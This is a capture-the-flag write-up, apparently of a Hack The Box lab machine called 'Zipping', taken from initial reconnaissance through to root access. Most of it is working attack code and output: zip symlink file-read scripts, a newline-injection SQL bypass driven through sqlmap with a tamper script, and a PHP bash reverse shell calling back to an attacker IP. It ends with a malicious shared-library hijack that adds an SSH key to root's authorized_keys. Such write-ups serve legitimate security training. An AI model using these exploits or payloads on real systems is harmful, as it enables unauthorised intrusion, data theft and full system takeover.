Zipping
Recon
HTTP (80)

The only link leading to other pages is /shop
Pages are navigated via page
param in request.

LFI was not successful, but this might also be SQLi?
└─$ curl http://10.129.229.87/shop/index.php?page=../../../../../../../etc/passwd --path-as-is -s | grep root
└─$ curl http://10.129.229.87/shop/index.php?page=../../../../../../../etc/passwd --path-as-is -s | grep index.php
<a href="index.php">Home</a>
<a href="index.php?page=products">Products</a>
<a href="index.php?page=cart">
<a href="index.php?page=product&id=2" class="product">
<a href="index.php?page=product&id=3" class="product">
<a href="index.php?page=product&id=1" class="product">
<a href="index.php?page=product&id=4" class="product">
No success after some manual fuzzing on SQLi on different urls.
There was also Work With Us button leading to /upload.php

LFI
Uploading valid Zip with PDF gives link:
http://10.129.229.87/uploads/f9f9cfa78b12cc9e07611a9254804d03/buttonee.pdf
Arbitrary file read via Symbolic Links
└─$ ln -s /etc/passwd p.pdf
└─$ zip --symlink p.zip p.pdf
└─$ curl http://10.129.229.87/upload.php -F 'zipFile=@p.zip' -F 'submit=1' -s | grep -oP '>\Kuploads/[^<]*'
uploads/8b96cc8861289f722330354366438603/p.pdf
└─$ curl http://10.129.229.87/uploads/8b96cc8861289f722330354366438603/p.pdf -s | grep sh$
root:x:0:0:root:/root:/bin/bash
rektsu:x:1001:1001::/home/rektsu:/bin/bash
Cool, we can read files; but we preferably want to get RCE.
#!/bin/bash
URL="http://10.129.229.87"
DUMMY="dummy"
DUMMY_PDF="$DUMMY.pdf"
DUMMY_ZIP="$DUMMY.zip"
if [ -z "$1" ]; then
read -p "Filename: " lfi_filename
else
lfi_filename="$1"
fi
/usr/bin/rm "$DUMMY_PDF" 2>/dev/null
/usr/bin/ln -s "$lfi_filename" "$DUMMY_PDF"
/usr/bin/zip --symlink "$DUMMY_ZIP" "$DUMMY_PDF"
upload_location=$(/usr/bin/curl "$URL/upload.php" -F "zipFile=@$DUMMY_ZIP" -F 'submit=1' -s | grep -oP '>\Kuploads/[^<]*')
upload_location="$URL/$upload_location"
echo -e "$upload_location\n"
/usr/bin/curl "$upload_location" -s
Alternative script with python
from requests import Session
from zipfile import ZipFile, ZipInfo, ZIP_DEFLATED
import io
import re
import readline
def create_symlink_zip(symlink_name, symlink_target):
buffer = io.BytesIO()
with ZipFile(buffer, 'w', ZIP_DEFLATED) as zf:
# Create a pseudo symlink by writing the link target as the file content
zipinfo = ZipInfo(symlink_name)
# Mark it as a symlink (Unix-specific)
zipinfo.external_attr = 0xA1ED0000
zf.writestr(zipinfo, symlink_target)
buffer.seek(0) # Reset buffer to the beginning
return buffer
URL = "http://10.129.229.87"
DATA = {'submit': '1'}
SL = SYMLINK_NAME = "dummy.pdf"
with Session() as session:
# session.proxies = {'http': 'http://127.0.0.1:8080'}
while True:
symlink_target = input("Filename: ")
files = {'zipFile': (SL, create_symlink_zip(SL, symlink_target), 'application/zip')}
resp = session.post(f'{URL}/upload.php', files=files, data=DATA)
pdf_link = re.search(r'>(uploads/[^<]*)', resp.text)
if pdf_link:
pdf_link = f"{URL}/{pdf_link.group(1)}"
print(f"Uploaded file path: {pdf_link}")
resp = session.get(pdf_link)
print(resp.text)
else:
print("Upload path not found in response.")
print('- ' * 16)
Filename: /var/www/html/upload.php
Uploaded file path: http://10.129.229.87/uploads/eccdd308c21dc2bd448e1e1bec272ede/dummy.pdf
...
<?php
if (isset($_POST["submit"])) {
// Get the uploaded zip file
$zipFile = $_FILES["zipFile"]["tmp_name"];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
$tmpDir = sys_get_temp_dir();
// Extract the files from the zip
$zip = new ZipArchive();
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo "<p>Please include a single PDF file in the archive.<p>";
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
$uploadPath = $tmpDir . "/" . $uploadDir;
echo exec("7z e " . $zipFile . " -o" . $uploadPath . ">/dev/null");
if (file_exists($uploadPath . $fileName)) {
mkdir($uploadDir);
rename($uploadPath . $fileName, $uploadDir . $fileName);
}
echo '<p>File successfully uploaded ...'
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
...
Filename: /var/www/html/shop/index.php
Uploaded file path: http://10.129.229.87/uploads/1d467daaca097cbac671940f1fd9ee04/dummy.pdf
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
- - - - - - - - - - - - - - - -
Filename: /var/www/html/shop/functions.php
Uploaded file path: http://10.129.229.87/uploads/b884544224988119b2ea4cd61b1a9e95/dummy.pdf
<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
...
Creds:
root:MySQL_P@ssw0rd!
Credentials don't work on SSH and there's no admin panel.
SQLi
Filename: /var/www/html/shop/products.php
... # Nothing interesting, prepared statements for SQL
Filename: /var/www/html/shop/product.php
Uploaded file path: http://10.129.229.87/uploads/7339566e8bc21cfe0ef16c54dc1d7013/dummy.pdf
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
...
For some reason products.php
uses good queries, but not product.php
; It's using raw SQL and blacklist...
Blacklist is bypassable by newline injection, because grep
is only checking the first line and we are able to inject newline.
1
didn't work, but \n1
worked 🤔

Success: http://10.129.229.87/shop/index.php?page=product&id=%0a1'+AND+'1'='1
Fail : http://10.129.229.87/shop/index.php?page=product&id=%0a1'+AND+'1'='2
The regular expression matching has some requirements:
Newline injection is possible, but at the first half
To pass the condition we must have number at the end of the string
/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/
^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?] -- Starts with anything and then special char
[^0-9]$ -- Ends with number (must!)
That's why \n1 -- -
will fail, but \n1 -- - 1
will not.

SQLMap fuckery
I thought this would be a good exercise to flex some SQLMap queries and it was fucking tough to get this shit to work 💀 but it finally worked:
└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' -p id --prefix "%0A'" --suffix "-- - 1" --dbms=MySQL --technique=U --level=5 --risk=3 --current-db --batch
---
Parameter: id (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: page=product&id=
' UNION ALL SELECT NULL,CONCAT(0x7171766b71,0x6365466e437871706354644a7a6244437757457541514568657454796964594a6269564446525a57,0x7176626b71),NULL,NULL,NULL,NULL,NULL,NULL-- - 1
---'
current database: 'zipping'
SQLMap wasn't able to write into files, not in /var/www/html
, in /tmp
or even /dev/shm
.
└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' -p id --prefix "%0A'" --suffix "-- - 1" --dbms=MySQL --technique=U --level=5 --risk=3 --batch --file-write agent.php --file-dest /tmp/agent.php -vvv
...
[16:02:40] [PAYLOAD] -5484%0A' UNION ALL SELECT 0x3c3f3d60245f524551554553545b305d603f3e0a,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE '/tmp/agent.php'-- - 1
got a 302 redirect to 'http://10.129.229.87/shop/index.php'. 'Do you want to follow? [Y/n] Y
do you want confirmation that the local file 'agent.php' has been successfully written on the back-end DBMS file system ('/tmp/agent.php')? [Y/n] Y
[16:02:41] [PAYLOAD] %0A' UNION ALL SELECT NULL,CONCAT(0x7171766b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f746d702f6167656e742e706870)) AS CHAR),0x20),0x7176626b71),NULL,NULL,NULL,NULL,NULL,NULL-- - 1
[16:02:41] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
...
💀 Everything was correct, but it was using negative number in the first part so -
character, which is blacklisted and it wasn't working because of that...! Lucky me...
└─$ mkdir blacklist; echo 'def tamper(payload, **kwargs):\n if payload and payload.startswith("-"):\n payload = payload[1:]\n \n return payload' > blacklist/blacklist.py; echo "" > blacklist/__init__.py;
└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' --batch --file-write www/shell.php --file-dest /var/www/html/shell.php --proxy http://127.0.0.1:8080 --tamper=./blacklist/blacklist.py -vvv
SQLi + LFI = RCE
We can't write into /var/www/html/*
even tho we are running as root, writing to /tmp/*
works, but we can't include files... /dev/shm/*
is writable and includable!!
└─$ cat www/t.php
<?php echo system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.99/4444 0>&1"'); ?>
└─$ sqlmap -u 'http://10.129.229.87/shop/index.php?page=product&id=' --batch --file-write www/t.php --file-dest /dev/shm/t.php --proxy http://127.0.0.1:8080 --tamper=./blacklist/blacklist.py
└─$ curl http://10.129.229.87/shop/index.php?page=/dev/shm/t
Reverse Shell
Finally reverse shell
└─$ listen
Ncat: Connection from 10.129.229.87:46238.
rektsu@zipping:/var/www/html/shop$ id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
User.txt
rektsu@zipping:/home/rektsu$ cat user.txt
22c31e006c4a206997dabf8356d06f98
Privilege Escalation
Upgrade reverse shell to SSH.
└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7+N9qBEHFihmjz8X0Tc+rIN1qeZtHbe5lhiGi/ntmm woyag@kraken
---
rektsu@zipping:/home/rektsu$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7+N9qBEHFihmjz8X0Tc+rIN1qeZtHbe5lhiGi/ntmm woyag@kraken' >> /home/rektsu/.ssh/authorized_keys
---
└─$ ssh rektsu@10.129.229.87 -i id_rsa
rektsu@zipping:~$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
rektsu@zipping:~$ sudo stock --help
Enter the password: password
Invalid password, please try again.
rektsu@zipping:~$ ls -alh /usr/bin/stock
-rwxr-xr-x 1 root root 17K Apr 1 2023 /usr/bin/stock
rektsu@zipping:~$ strings /usr/bin/stock
...
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour Black Gold Silver
Amount %-7d %-7d %-7d
Quality Excelent Average Poor
Amount %-9d %-7d %-4d
Exclusive Yes No
Amount %-4d %-4d
Warranty Yes No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver):
Quality (0: excelent, 1: average, 2: poor):
Exclusivity (0: yes, 1: no):
Warranty (0: yes, 1: no):
Amount:
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.
...
rektsu@zipping:~$ ls /home
rektsu
Password:
St0ckM4nager
No idea what the binary does, but let's see what functions it uses. ltrace
doesn't exist, but strace
is available on the box.
rektsu@zipping:~$ strace -e trace='openat,read,write' /usr/bin/stock
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
) = 1
write(1, "1) See the stock\n", 171) See the stock
) = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
) = 18
write(1, "3) Exit the program\n", 203) Exit the program
) = 20
write(1, "\n", 1
) = 1
write(1, "Select an option: ", 18Select an option: ) = 18
read(0, 1
"1\n", 1024) = 2
openat(AT_FDCWD, "/root/.stock.csv", O_RDONLY) = -1 EACCES (Permission denied)
write(1, "You do not have permissions to r"..., 44You do not have permissions to read the file) = 44
+++ exited with 1 +++
"/home/rektsu/.config/libcounter.so"
is missing, so some library is being loaded.
Create malicious so
library:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
__attribute__((constructor)) void setup_ssh() {
mkdir("/root/.ssh", 0700);
FILE *file = fopen("/root/.ssh/authorized_keys", "a");
if (file) {
const char *public_key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7+N9qBEHFihmjz8X0Tc+rIN1qeZtHbe5lhiGi/ntmm woyag@kraken";
fprintf(file, "%s\n", public_key);
fclose(file);
}
}
Compile and transfer
└─$ gcc -shared -fPIC -o libcounter.so libcounter.c
└─$ file lib*
libcounter.c: C source, ASCII text
libcounter.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=99a734c90afd380688cf99a9d15369b21b00a2c0, not stripped
└─$ scp -i id_rsa ./libcounter.so rektsu@10.129.229.87:~/.config
Run the program, enter password so library get's loaded.
rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 3
rektsu@zipping:~$
Check SSH
└─$ ssh root@10.129.229.87 -i id_rsa
root@zipping:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@zipping:~# cat root.txt
b30f050645b2d5733ec02c6e52921382
Last updated